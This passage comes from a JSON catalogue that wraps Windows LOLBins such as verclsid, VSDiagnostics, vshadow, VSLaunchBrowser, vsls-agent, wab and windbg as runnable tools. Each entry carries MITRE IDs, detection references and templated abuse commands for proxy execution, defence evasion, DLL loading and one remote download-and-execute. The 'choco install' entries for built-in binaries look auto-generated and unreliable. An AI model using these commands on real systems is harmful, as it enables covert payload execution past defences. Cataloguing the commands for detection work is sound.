      "verclsid"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "@bohops",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to verify a COM object before it is instantiated by Windows Explorer Located at: C:\\Windows\\System32\\verclsid.exe; C:\\Windows\\SysWOW64\\verclsid.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/verclsid_clsid_execution.yml"
      }
    ],
    "examples": [
      {
        "description": "Used to verify a COM object before it is instantiated by Windows Explorer (Run a COM object created in registry to evade defensive counter measures)",
        "command": "verclsid.exe /S /C {CLSID}"
      }
    ],
    "execution": {
      "template": "verclsid",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-verclsid",
    "install": [
      {
        "method": "choco",
        "package_name": "verclsid",
        "commands": [
          "choco install verclsid"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.012"
    ],
    "name": "verclsid",
    "namespace": "windows:execution:verclsid",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "0598b60112eaafe6d07789f7964290d5",
        "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vsdiagnostics\n\nvsdiagnostics is a Windows LOLBin. Command-line tool used for performing diagnostics. Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe.\n",
    "_source": "vsdiagnostics.md",
    "allowed-tools": [
      "vsdiagnostics"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Bobby Cooke",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line tool used for performing diagnostics. Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/tsale/Sigma_rules/blob/d5b4a09418edfeeb3a2d654f556d5bca82003cd7/LOL_BINs/VSDiagnostics_LoLBin.yml"
      }
    ],
    "examples": [
      {
        "description": "Starts a collection session with sessionID 1 and calls kernelbase.CreateProcessW to launch specified executable. (Proxy execution of binary)",
        "command": "VSDiagnostics.exe start 1 /launch:{PATH:.exe}"
      },
      {
        "description": "Starts a collection session with sessionID 2 and calls kernelbase.CreateProcessW to launch specified executable. Arguments specified in launchArgs are passed to CreateProcessW. (Proxy execution of binary with arguments)",
        "command": "VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:\"{CMD:args}\""
      }
    ],
    "execution": {
      "template": "vsdiagnostics",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-vsdiagnostics",
    "install": [
      {
        "method": "choco",
        "package_name": "vsdiagnostics",
        "commands": [
          "choco install vsdiagnostics"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "vsdiagnostics",
    "namespace": "windows:execution:vsdiagnostics",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1679200664013135872",
        "url": "https://twitter.com/0xBoku/status/1679200664013135872"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vshadow\n\nvshadow is a Windows LOLBin. VShadow is a command-line tool that can be used to create and manage volume shadow copies. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\vshadow.exe.\n",
    "_source": "vshadow.md",
    "allowed-tools": [
      "vshadow"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ayberk Halaç",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "VShadow is a command-line tool that can be used to create and manage volume shadow copies. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\<version>\\x64\\vshadow.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_vshadow_exec.yml"
      },
      {
        "type": "ioc",
        "description": "vshadow.exe usage with -exec parameter"
      }
    ],
    "examples": [
      {
        "description": "Executes specified executable from vshadow.exe. (Performs execution of specified executable file.)",
        "command": "vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:"
      }
    ],
    "execution": {
      "template": "vshadow",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-vshadow",
    "install": [
      {
        "method": "choco",
        "package_name": "vshadow",
        "commands": [
          "choco install vshadow"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "vshadow",
    "namespace": "windows:execution:vshadow",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "vshadow-tool-and-sample",
        "url": "https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vsiisexelauncher\n\nvsiisexelauncher is a Windows LOLBin. Binary will execute specified binary. Part of VS/VScode installation. Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\ProjectSystem\\VSIISExeLauncher.exe.\n",
    "_source": "vsiisexelauncher.md",
    "allowed-tools": [
      "vsiisexelauncher"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "timwhite",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary will execute specified binary. Part of VS/VScode installation. Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\ProjectSystem\\VSIISExeLauncher.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml"
      },
      {
        "type": "ioc",
        "description": "VSIISExeLauncher.exe spawned an unknown process"
      }
    ],
    "examples": [
      {
        "description": "The above binary will execute other binary. (Execute any binary with given arguments.)",
        "command": "VSIISExeLauncher.exe -p {PATH:.exe} -a \"{CMD:args}\""
      }
    ],
    "execution": {
      "template": "vsiisexelauncher",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-vsiisexelauncher",
    "install": [
      {
        "method": "choco",
        "package_name": "vsiisexelauncher",
        "commands": [
          "choco install vsiisexelauncher"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "vsiisexelauncher",
    "namespace": "windows:execution:vsiisexelauncher",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "timwhitez",
        "url": "https://github.com/timwhitez"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vsjitdebugger\n\nvsjitdebugger is a Windows LOLBin. Just-In-Time (JIT) debugger included with Visual Studio Located at: c:\\windows\\system32\\vsjitdebugger.exe.\n",
    "_source": "vsjitdebugger.md",
    "allowed-tools": [
      "vsjitdebugger"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Just-In-Time (JIT) debugger included with Visual Studio Located at: c:\\windows\\system32\\vsjitdebugger.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes specified executable as a subprocess of Vsjitdebugger.exe. (Execution of local PE file as a subprocess of Vsjitdebugger.exe.)",
        "command": "Vsjitdebugger.exe {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "vsjitdebugger",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-vsjitdebugger",
    "install": [
      {
        "method": "choco",
        "package_name": "vsjitdebugger",
        "commands": [
          "choco install vsjitdebugger"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "vsjitdebugger",
    "namespace": "windows:execution:vsjitdebugger",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "990758590020452353",
        "url": "https://twitter.com/pabraeken/status/990758590020452353"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vslaunchbrowser\n\nvslaunchbrowser is a Windows LOLBin. Microsoft Visual Studio browser launcher tool for web applications debugging Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe.\n",
    "_source": "vslaunchbrowser.md",
    "allowed-tools": [
      "vslaunchbrowser"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Visual Studio browser launcher tool for web applications debugging Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\VSLaunchBrowser.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "cmd.exe as sub-process of VSLaunchBrowser"
      },
      {
        "type": "ioc",
        "description": "URL on a VSLaunchBrowser command line"
      },
      {
        "type": "ioc",
        "description": "VSLaunchBrowser making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Download and execute payload from remote server (It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.)",
        "command": "VSLaunchBrowser.exe .exe {REMOTEURL:.exe}"
      },
      {
        "description": "Execute payload via VSLaunchBrowser as parent process (It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.)",
        "command": "VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Execute payload from WebDAV server via VSLaunchBrowser as parent process (It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.)",
        "command": "VSLaunchBrowser.exe .exe {PATH_SMB}"
      }
    ],
    "execution": {
      "template": "vslaunchbrowser",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-vslaunchbrowser",
    "install": [
      {
        "method": "choco",
        "package_name": "vslaunchbrowser",
        "commands": [
          "choco install vslaunchbrowser"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1127"
    ],
    "name": "vslaunchbrowser",
    "namespace": "windows:execution:vslaunchbrowser",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vsls-agent\n\nvsls-agent is a Windows LOLBin. Agent for Visual Studio Live Share (Code Collaboration) Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\Extensions\\Microsoft\\LiveShare\\Agent\\vsls-agent.exe.\n",
    "_source": "vsls-agent.md",
    "allowed-tools": [
      "vsls-agent"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Agent for Visual Studio Live Share (Code Collaboration) Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\Extensions\\Microsoft\\LiveShare\\Agent\\vsls-agent.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml"
      }
    ],
    "examples": [
      {
        "description": "Load a library payload using the --agentExtensionPath parameter (32-bit) (Execute proxied payload with Microsoft signed binary)",
        "command": "vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}"
      }
    ],
    "execution": {
      "template": "vsls-agent",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-vsls-agent",
    "install": [
      {
        "method": "choco",
        "package_name": "vsls-agent",
        "commands": [
          "choco install vsls-agent"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "vsls-agent",
    "namespace": "windows:execution:vsls-agent",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1583916360404729857",
        "url": "https://twitter.com/bohops/status/1583916360404729857"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wab\n\nwab is a Windows LOLBin. Windows address book manager Located at: C:\\Program Files\\Windows Mail\\wab.exe; C:\\Program Files (x86)\\Windows Mail\\wab.exe.\n",
    "_source": "wab.md",
    "allowed-tools": [
      "wab"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows address book manager Located at: C:\\Program Files\\Windows Mail\\wab.exe; C:\\Program Files (x86)\\Windows Mail\\wab.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml"
      },
      {
        "type": "ioc",
        "description": "WAB.exe should normally never be used"
      }
    ],
    "examples": [
      {
        "description": "Change HKLM\\Software\\Microsoft\\WAB\\DLLPath and execute DLL of choice (Execute dll file. Bypass defensive counter measures)",
        "command": "wab.exe"
      }
    ],
    "execution": {
      "template": "wab",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-wab",
    "install": [
      {
        "method": "choco",
        "package_name": "wab",
        "commands": [
          "choco install wab"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "wab",
    "namespace": "windows:execution:wab",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "991447379864932352",
        "url": "https://twitter.com/Hexacorn/status/991447379864932352"
      },
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wbemtest\n\nwbemtest is a Windows LOLBin. WMI/WBEM Test Binary Located at: c:\\windows\\system32\\wbem\\wbemtest.exe.\n",
    "_source": "wbemtest.md",
    "allowed-tools": [
      "wbemtest"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "saulpanders",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "WMI/WBEM Test Binary Located at: c:\\windows\\system32\\wbem\\wbemtest.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "wbemtest.exe binary spawned"
      }
    ],
    "examples": [
      {
        "description": "Execute arbitary commands through WMI through a GUI managment interface for Web Based Enterprise Management testing (WBEM). Uses WMI to Create and instance of a Win32_Process WMI class with a commandline argument of the target command to spawn. Spawns a GUI so it requires interactive access. For a demo, see link to blog in resources. (Execute arbitrary commands through WMI classes)",
        "command": "wbemtest.exe"
      }
    ],
    "execution": {
      "template": "wbemtest",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-wbemtest",
    "install": [
      {
        "method": "choco",
        "package_name": "wbemtest",
        "commands": [
          "choco install wbemtest"
        ]
      }
    ],
    "mitre_ids": [
      "T1047"
    ],
    "name": "wbemtest",
    "namespace": "windows:execution:wbemtest",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "lolbas-wbemtest.html",
        "url": "https://saulpanders.github.io/2025/01/20/lolbas-wbemtest.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wfmformat\n\nwfmformat is a Windows LOLBin. Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool. Located at: C:\\there\\is\\no\\default\\installation\\path\\WFMFormat.exe.\n",
    "_source": "wfmformat.md",
    "allowed-tools": [
      "wfmformat"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Tim Baker",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool. Located at: C:\\there\\is\\no\\default\\installation\\path\\WFMFormat.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Child process from WFMFormat.exe"
      },
      {
        "type": "ioc",
        "description": "tracerpt.exe processes located anywhere other than c:\\windows\\system32"
      }
    ],
    "examples": [
      {
        "description": "Executes the file `tracerpt.exe` in the same folder as `WFMFormat.exe`. If the file `dumpfile.txt` (any content) exists in the current working directory, no arguments are required. Note that `WFMFormat.exe` requires .NET Framework 3.5. (Proxy execution of binary)",
        "command": "WFMFormat.exe"
      }
    ],
    "execution": {
      "template": "wfmformat",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-wfmformat",
    "install": [
      {
        "method": "choco",
        "package_name": "wfmformat",
        "commands": [
          "choco install wfmformat"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "wfmformat",
    "namespace": "windows:execution:wfmformat",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "details.aspx?id=103244",
        "url": "https://www.microsoft.com/en-us/download/details.aspx?id=103244"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# windbg\n\nwindbg is a Windows LOLBin. Windows Debugger for advanced user-mode and kernel-mode debugging. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\windbg.exe.\n",
    "_source": "windbg.md",
    "allowed-tools": [
      "windbg"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Debugger for advanced user-mode and kernel-mode debugging. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\windbg.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Launches a command line through the debugging process; optionally add `-G` to exit the debugger automatically. (Executes an executable under a trusted microsoft signed binary.)",
        "command": "windbg.exe -g {CMD}"
      }
    ],
    "execution": {
      "template": "windbg",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-windbg",
    "install": [
      {
        "method": "choco",
        "package_name": "windbg",
        "commands": [
          "choco install windbg"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "windbg",
    "namespace": "windows:execution:windbg",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windbg-command-line-options",
        "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# winfile\n\nwinfile is a Windows LOLBin. Windows File Manager executable Located at: C:\\Windows\\System32\\winfile.exe; C:\\Windows\\winfile.exe; C:\\Program Files\\WinFile\\winfile.exe.\n",
    "_source": "winfile.md",
    "allowed-tools": [
      "winfile"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows File Manager executable Located at: C:\\Windows\\System32\\winfile.exe; C:\\Windows\\winfile.exe; C:\\Program Files\\WinFile\\winfile.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Execute an executable file with WinFile as a parent process. (Performs execution of specified file, can be used as a defense evasion)",
        "command": "winfile.exe {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "winfile",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-winfile",
    "install": [
      {
        "method": "choco",
        "package_name": "winfile",
        "commands": [
          "choco install winfile"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "winfile",
    "namespace": "windows:execution:winfile",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "winfile",
        "url": "https://github.com/microsoft/winfile"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
